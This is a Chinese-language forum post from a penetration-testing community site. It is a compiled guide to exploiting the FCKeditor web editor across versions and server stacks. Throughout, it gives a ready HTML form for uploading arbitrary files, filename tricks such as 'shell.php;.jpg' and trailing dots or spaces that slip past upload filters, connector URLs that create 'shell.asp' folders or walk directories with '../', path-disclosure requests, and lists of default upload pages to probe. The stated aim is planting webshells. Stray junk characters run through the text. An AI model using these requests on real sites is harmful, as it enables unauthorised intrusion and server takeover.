中国网络渗透测试联盟

标题: Fckeditor漏洞 (2) [打印本页]

作者: admin    时间: 2012-9-13 17:01
标题: Fckeditor漏洞 (2)
Fckeditor漏洞利用总结  
/ G1 ?. S% A9 Y! n9 A8 [) {查看编辑器版本4 l. x, ~) Y( d( @8 t) w
FCKeditor/_whatsnew.html( _4 a+ ~- Z& w( C6 f
—————————————————————————————————————————————————————————————
. _2 ]- S7 T+ q8 v7 S, S* [# k4 C
+ n3 F  ?8 z! n' {- ^2. Version 2.2 版本
9 v6 E! i+ [& i3 ]Apache+linux 环境下在上传文件后面加个.突破!测试通过。$ }2 C! ?& B0 k+ s4 z7 J
—————————————————————————————————————————————————————————————$ b7 k0 d; U# C8 [- ]

3 \1 l+ {4 ^0 S# d' m' z3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。- \! T* S6 w& f' ~3 l9 @0 g1 }
<form id="frmUpload" enctype="multipart/form-data"
+ P! `- Z5 ^. L5 Y* zaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
; I0 O6 W" t+ R: i<input type="file" name="NewFile" size="50"><br>9 \6 R3 ^' N% M' }8 b" x3 a9 h
<input id="btnUpload" type="submit" value="Upload">+ ^9 x" K( W# H/ f- r, a) A
</form>
1 r) \4 @# ~' M, |: c& I# C—————————————————————————————————————————————————————————————
; j" a  y' \" ^, Z+ C' c1 @% }0 [# W# b- N
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法7 x1 E, n" W% y
        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。% a; B3 E" y, N( ]3 Q
    4.1:提交shell.php+空格绕过& u+ j9 Z7 q0 q. s
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
+ B' A$ C. @& a: d8 I    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。- k& v# ]2 Z* H0 w  Q6 M7 Z/ l1 a
—————————————————————————————————————————————————————————————
2 h; g# X5 S$ z; L) [% N
: ~, b& g8 L( P' D, ^! q, z5 o5. 突破建立文件夹
# ^9 R7 `3 L" u0 c, hFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
1 }2 z! W6 d4 m8 i* I/ eFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
4 V: \, s, ?. F—————————————————————————————————————————————————————————————; W( c3 l- \0 K

& w9 r* H$ j# l# \6. FCKeditor 中test 文件的上传地址
. W0 K; K) x, q5 w: l1 gFCKeditor/editor/filemanager/browser/default/connectors/test.html7 k$ \' @& @( z+ a, U* g5 B
FCKeditor/editor/filemanager/upload/test.html
2 r0 c) z) t0 t% b  HFCKeditor/editor/filemanager/connectors/test.html
4 o8 m, o  g) KFCKeditor/editor/filemanager/connectors/uploadtest.html+ h  Z* H' i; L: _8 q
—————————————————————————————————————————————————————————————, a7 H5 q1 g2 K0 z. C

% m, f0 T3 O) V0 v* i( ~3 H& y& @& y( z7.常用上传地址+ _: I3 d$ f* W8 [
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
" S" S! a. M4 z8 I7 H  uFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
! Q' E+ L$ N, V) P6 g, FFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过), b9 h( {$ e& w4 B
JSP 版:; O  f/ I) y. C- e; Q
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp  A" H/ ~, U$ `6 |9 G1 F$ ]
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
% |7 c/ V1 e- y: b  X件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。2 D1 [6 {" E3 t7 _! D$ L# B3 p- w5 p: w
—————————————————————————————————————————————————————————————! ^! l7 S6 v& K- x& V8 `
: ~& c9 F1 U3 v* s* ]7 i
8.其他上传地址; c% Y- {4 b  s% c* K8 h" J- g
FCKeditor/_samples/default.html. E7 t* _8 m7 G; r% ~! X
FCKeditor/_samples/asp/sample01.asp9 e$ `9 l5 \8 s1 |( X% @
FCKeditor/_samples/asp/sample02.asp
4 L/ B, j* q/ ?% x0 p7 ^7 FFCKeditor/_samples/asp/sample03.asp
; X& t+ e& s2 \) w) O- k9 ^FCKeditor/_samples/asp/sample04.asp
2 \, h$ _0 J; a. O/ }一般很多站点都已删除_samples 目录,可以试试。
( b1 V9 b2 l# qFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。& u  h# m+ Q3 g. r
—————————————————————————————————————————————————————————————
4 ]! l7 f' r  D( g  g* _' f9 `/ N3 i5 N# A
9.列目录漏洞也可助找上传地址+ n7 J$ E: H1 m; H8 r- V
Version 2.4.1 测试通过
9 F# z9 M! f# H) t3 t修改CurrentFolder 参数使用 ../../来进入不同的目录1 H$ d6 v4 j4 w+ s5 l
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp& [4 b3 U8 ]5 m) A
根据返回的XML 信息可以查看网站所有的目录。) _; C) U. A6 k! n* H. l
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
. f+ S% n; n% |1 f也可以直接浏览盘符:, `* I1 w2 S' O; i& [( @* K
JSP 版本:6 _) o( J; j$ P2 a' y- c
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F5 w6 y' R6 v; |2 ?' }# K
—————————————————————————————————————————————————————————————
" ~) J* f4 ~/ W/ D9 b9 R
. k8 {/ `* k  O) m% d. N  j2 Z10.爆路径漏洞' F! B9 {: ^( j4 J  D( L% G
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp. t8 w5 j8 o  u
—————————————————————————————————————————————————————————————
- O3 j+ k+ w( u3 Y# b$ J, g5 j$ Z: Z! R9 ~. w8 `2 q5 P  h5 c
11. FCKeditor 被动限制策略所导致的过滤不严问题4 K7 t  O8 @' ^7 j  H
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3, k& }8 }. w: k2 B" g) j( r
脆弱描述:2 U( a5 {; ?+ L$ t( A  n% G
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
0 G& B+ O3 C" H, X* G3 Z" qhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm( a* f$ |' }' |+ Y8 z; Q$ y
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
( A4 _6 k/ K/ h# @2 M        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。; S# B# q8 v) J0 S: p
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!7 a: `0 |" y% M
—————————————————————————————————————————————————————————————  r( h5 M4 G- T5 x/ ^
- e2 e1 ^+ m2 j, `' i' W0 H
12.最古老的漏洞,Type文件没有限制!
0 x# u7 g4 z, L% M. e* S# e6 t$ h; l        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
" q: \1 W; l4 u0 P3 y8 O—————————————————————————————————————————————————————————————
" W1 Z. H# c; ]3 A0 B% Q% P! R8 V6 S5 l* r2 J6 S! I6 e1 k' g
===============================================================================================================================================# g: c2 g- U# c5 W$ z
0 b& J. u* {3 r! p$ ^. q2 g6 p# ]
FCK编辑器jsp版本漏洞:
( L, D( _' s, {. w6 B- t" I0 N$ @0 }: N# ~+ @+ n

' A  b" h* v1 H4 t  Q0 k8 dhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
( ~/ V7 X; W' q6 c$ d; G- b, T  v: @: v* B) e/ l7 @
上传马所在目录3 g; R6 t. I3 \8 v& z; K; p
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/1 I& k9 H- |0 w( e8 P5 B  C3 Y
上传shell的地址:+ K4 x! l0 b2 E+ r# a! c
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
: `9 J" _# d* k: R* A' G% v跟版本有关系.并不是百分百成功. 测试成功几个站.
$ P; g, v4 {( S  b7 _( S" D不能通杀.很遗憾.
  \0 o1 U/ `. w' t, ]5 o0 nhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
6 Q9 l- F; `0 g! X+ V8 q. D如果以上地址不行可以试试
/ ]# F; G6 b' ~! h/ H& e9 A0 Y' {" ^FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
7 y" F$ g: x1 M, AFCKeditor/_samples/
6 ~4 R+ w' v3 i" v" y! RFCKeditor/_samples/default.html
. Y# m& L6 V% m: J; H7 bFCKeditor/editor/fckeditor.htm. @" O: E7 ~% G4 D/ u7 k# f: j. x
FCKeditor/editor/fckdialog.html0 S% {6 J2 C! q* H8 Q) C8 ~& O
1 h+ Z2 }$ i  ~4 j
! |+ K0 i5 w  P9 W
% B+ B" @, R0 h6 Q
解析漏洞+未重命名文件时上传漏洞  1.asp;jpg1 d; D* k6 A9 z" k  A5 V





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2